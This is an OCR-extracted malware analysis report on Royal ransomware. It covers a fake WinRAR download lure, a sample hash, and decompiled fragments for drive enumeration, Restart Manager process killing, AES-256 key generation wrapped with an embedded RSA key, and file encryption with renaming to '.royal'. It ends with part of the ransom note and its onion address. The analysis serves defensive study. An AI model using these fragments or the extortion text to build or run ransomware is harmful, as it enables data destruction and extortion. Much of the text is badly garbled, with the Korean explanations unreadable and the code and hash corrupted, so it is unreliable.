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Google winrar X @ Q

Q Al [] Videos [ Images [E News [ Books i More Tools

About 65,000,000 results (0.42 seconds)

This search may be relevant to recent activity: Search History | Feedback
winrar vs 7zip

Ad - http://www.bpasfirm.com/

Download Archiver - For Windows PC
The data compression, encryption and archiving tool for Windows that opens all files

WmMR

WinRAR 6.11

u Buy WinRAR

Compress, Encrypt, Package
and Backup with only one utility

Buy WInRAR
With over 500 million users worldwide, WinRAR is the world’s most popular compression tool!
There is no better way to compress files for efficient and secure file transfer. Providing fast email transmission @ Download WinRAR
and well-organized data storage options, WinRAR also offers solutions for users working in all industries and
sectors.
WInRAR is a powerful archiver extractor tool, and can open all popular file formats. SmartScreen may

appear on .lhe new version of
RAR and WinRAR are Windows 11" and Windows 10™ compaiible; available in over 50 languages and in both the file, click "Run anyway"
32-bit and 64-bit; compatible with several operating systems (OS), and it is the only compression software that
can work with Unicode. click here for 32 bit version

Read more...
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Name windows_encryptor.exe

Type PE32

Behavior File encryption

SHA-256 250bcbfab8da3e713b4cal2edef4dc06358e8986¢cad15928aa30c44fe4596488

Description | Royal Ransomware
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windows

royal EnterCriticalSection()

$recycle.bin

google
perflogs
mozilla
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boot
$windows.~ws

$windows.~bt
windows.old

|

SleepConditionVariableCs()
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if ( this-»>unk_2a@ ) /
{

sub_68BFF@(&path, this-»pwszOptPath);

sub 68B88O(this, path, v17, v18, v19, (int)v2®, p pFindFileDataWl); Fop a file path
} from the queue
else
{

wescpy(Src, L™A:\\");
for ( i = GetlogicalDrives(); i; i >»= 1)

if ((i&1) !=0)

LeaveCriticalSection()
path = 8;
v20 = 0;
p_pFindFileDatalW = 7;
sub_68CeDe((void **)&path, Src, wcslen(Src));
sub 68B880(this, path, v17, v18, w19, (int)v2@, p pFindFileDataW); (12 7] I} QI35 A0 M ZHE 3= AME
¥
++5rc[8];
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hFile = (int)CreateFileW(p_lpFileName, GENERIC_ALL, vi6, vi7, vis, vi9, v20);

if ( hFile == -1)

{
LastError = GetlLastError();
if ( LastError == ERROR_SHARING_VIOLATION || LastError == ERROR_LOCK_VIOLATION )
{

sub_44ABFFO(&v15, &lpFilelame);
if ( !ActiveRestartManager(vl5, vil6, (int)vl7, v18, v19, (unsigned int)v20) )
goto FAIL;

¥
else if ( LastError == ERROR_ACCESS_DENIED )

{
goto FAIL;

)
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O gfe =, Heto] 25 B20| 27tet U2 Y etE afett.

BIO write(
.__.-_:,\J
"-----BEGIN RSA PUBLIC KEY----- \n™
"MITICCAKCAgEAdobXjOxaFmBkiaM+FTz8tdYy7AxyZ1ohP3bjuyXS1ldnfQednzS5cdin”
"3KQgdaRrNsYrukKdiUg 7 TAMKk TMUDFiA7 /092 GBQUGOh T+w(8v 7xVhMHOS5baSe8Z t3\n"
"3MO0F+NUT7IN7@5rYMEe2RsSXDNKce3hl /VPDRAFI54kaM1lzQoD7 FaunViROFVWUNPYn™
"VWSToEwwI /CxkKevPyYTgallhkxd4hCj+ILrxBt /8dBoySD1sYIijIRhvvBBPQN/pin”
"NRM1XB5gYffhL+pLRtVOVvKs JdqurUWakK9zxF5g+FfIdDRCYR1+updXAGHpQccaheln™
"Oalfob+yB+mLItnpW7ZxuBwVblUsrzoKCQOn3iNohIuunHz8mDiCLdkvtAC+vh9a6in"
"rdxgQ+U9n3xIy1bwD7MSgoeIghR9+bxhT joPlWtmqyH3aESeFvWzqSaolfihmVBxi\n"
" XuIHROKwWXU+QYwNhE601RuvPZSKTqhTXBwulXuY4AfwCOGn 786 jmSX4BKpXIzcWisSn"
"ys¥1lidPzoa+jpPCAFPWKEBR1knKrZeObkFPvZIZ1SFDTZz9Z5K9 /WSgdwBa/RfbF4gyn”
"¢1)7GnXaqukrN6eHDWGSFeGekVGzEXBDUBCEa15EABjcKacgMy9BhuA2Y I ciQ4AG1\n"
"WvywwZ /NRpa@Q0IrdZ2DjH88 jXXeE583Ls1uglO4Ff1NuvFF /x5mITRBCAQM=\n"
*-----END RSA PUBLIC KEY----- \n"

SHUTDOWN_PROCESS:
vl4 = RmShutdown(pSessionHandle, RmForceShutdown, 8);
free(Block);
RmEndSession(pSessionHandle);
V15 = vid == @;
goto LABEL_27;
¥
v1l3 = Block;
while ( v13-»>Process.dwProcessId != duCurPid &% v13->Process.dwProcessId != dwExplorerPid )
{
++vl2;
++vl3;
if ( v12 »>= pnProcInfo )
goto SHUTDOWN PROCESS;

(1% 9] st=2E & RSA 3717|

ff generate a random AES5-256 key
// generate a random AES-256 IV

RAND bytes ex(key, 32);

RAND bytes_ex(&iv, 16);

*(_OWORD *)vb@ = key[@];

vel = key[1];

v62 = iv;

RSn_public encrypt(48, véd, véd, rsa, 4);
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04 https://github.com/openssl/openssl|
05 https://learn.microsoft.com/en-us/windows/win32/rstmgr/about-restart-manager
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[ 10] A2 AES TiE7|2t IV 8 = RSA ¢&3t

SAXte| RSA &717 = HIO|H2|0f| SEEZH (0] QL.
M7= T A5 sE Ploll FAHZ M= AES-2562] CHE7|2F
I\V(Initialize Vecton) 2 & 3t5tH= O] MQICH CHAIZ |9} Ve Of MUOICH FAMR 2 MA=ICTH

AES_cbc_encrypt(out, out, inl, aes, &iv, 1);
v37.HighPart = -(inl != @);

vil.LowPart = -inl;
SetFilePointerEx(hFile, v37, @, SEEK_CUR);
vI7 = aj

v28 = 8;

while ( 1 )

{

NumberOfBytesRead[8] = @;
if ( !WriteFile(hFile, (char *)out + v27, inl - v28, NumberOfBytesRead,
goto LABEL 33;

@)
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It &S 5= AES-256 CBC(Cipher Block Chaining) 2=2 435t}

OA 7+ BHOl AR BEH 25 25 & 22hd0] 7+ =0

tot= O 21 IVE HA| ZotH HE =55k =28 0g7| HE0|H.

00001E80 CC 2D 8A 26 53 79 D1 DF 9C AD 83 Bé 6C 62 35 DO
00001ES0 76 23 87 FE C2 CO AD 95 B8 EB 1C 1A 9C BF F5 7D
00001EA0 C9 Al 96 13 12 AC 12 ES FO E8 50 Cé 73 CD 02 1A
00001EBO 41 78 7D A0 80 FE CA 98 D6 2F 32 7A 3C AS 9C B
00001ECO 13 31 78 DF 06 58 E2 22 AA D3 57 17 82 B8 15 Dé
00001EDO DC D2 AB D4 3D 53 E6 61 59 40 26 AC A6 SF 63 EF
00001EE0 EC €7 47 99 1A ED 3C 55 A4 97 AB EO 79 ED 6C 9A
00001EFO 4A F7 BA 6D E6 SF CA OA 89 FB 33 65 EC 18 OB SD
00001F00 3A DS 09 EB BT D1 B4 A3 95 SD 61 07 A3 CB 7F SA
00001F10 33 9A E3 D2 F9 BA 70 48 F1 DD 37 15 SD SF B7 38
00001F20 CO 96 17 B4 F5 2D OC 97 E2 C4 2D ES8 99 B3 63 E9
00001F30 Al 2E SB BO C9 3A 74 3B 4C 83 AD DO 32 CO DC OA
00001F40 02 41 93 6C C9 10 4D EC B4 85 AS 1D S0 B3 DF CD
00001F50 42 1D 00 00 00 00 00 00 64 00 00 00 00 00 00 00
[12112] 25312 243t HEE0lE Y
gy ] 37| M
RSA Z717|2 Y53t
512 512 = gesf
FA9| AES THAZ |24 IV
-16 8 o= mol 37|
-8 8 oI55 YT HES
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if ( bEncrypted )
{
sub_68C230(v16, v17, L".royal");
vii = 8;
vli2 = (LPCHSTH)Std::HString::c_5tr(v16};
v9 = (const WCHAR *)std::wstring::c_str(vl7);
MoveFileExW(v9, v12, v13);
std: :wstring: :~wstring(v16);
}
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| readme tut - Windows 025
LHFE BEIE MU0 2N ST
Hello!

If you are reading this, it means that your system were hit by Royal ransomware.
Please contact us via :
http:/froyal2xthig 3ouShdTzsliqagybyygk2cdelaxtni2fyad6dpmpxedid.onionfl 1111111222222223333333344444444]

In the meantime, let us explain this case.lt may seem complicated, but it is not!

Most likely what happened was that you decided to save some money on your security infrastructure.

Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure server.

From there it can be published online.Then anyone on the internet from darknet criminals, ACLU journalists, Chinese govern
and even your employees will be able to see your internal documentation: personal data, HR reviews, internal lawsuitsand ¢

Fortunately we got you covered!
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